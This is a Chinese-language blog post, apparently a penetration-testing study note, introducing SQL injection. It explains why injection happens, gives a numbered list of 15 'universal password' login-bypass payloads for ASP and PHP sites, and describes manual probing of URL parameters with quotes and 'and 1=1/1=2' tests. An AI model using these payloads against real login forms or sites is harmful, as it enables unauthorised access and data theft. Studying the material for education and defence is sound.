首页 > 技术文章 > 6、渗透学习之SQL注入攻击技术初探

qianggediyi 2021-05-28 15:26 原文

一、注入攻击的原理:

注入产生的原因是接受相关参数未经处理直接带入数据库查询操作

二、万能密码及其原理

登录SQL语句:select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'

用户输入的内容可由用户自行控制,例如可以输入 ' or 1=1 --空格

SQL语句:select * from admin where username = ' ' or 1=1-- ' and password = '用户输入的密码'

其中 or 1=1 永远为真, -- 注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。

不同的程序万能密码也是不一样的,如ASP的万能密码是'or'='or' PHP的万能密码是'or 1=1/* (如果在登陆窗口输入错误的语法出现报错一般说明存在sql注入)

image-20210528112131067

asp aspx万能密码

1: "or "a"="a

2: ')or('a'='a

3:or 1=1--

4:'or 1=1--

5:a'or' 1=1--

6: "or 1=1--

7:'or'a'='a

8: "or"="a'='a

9:'or''='

10:'or'='or'

11: 1 or '1'='1'=1

12: 1 or '1'='1' or 1=1

13: 'OR 1=1%00

14: "or 1=1%00

15: 'xor

三、手工检测SQL注入点

1、标点符号法

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \ 来探测URL中是否存在注入点。如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

2、1=1 和 1=2 法

当用标点符号法没有显示的时候可以尝试使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

四、注入分类

  • 数字型注入
  • 字符型注入
  • 搜索型注入
  • XX型注入

五、提交方式

  • get提交
  • post提交
  • cookie提交

推荐阅读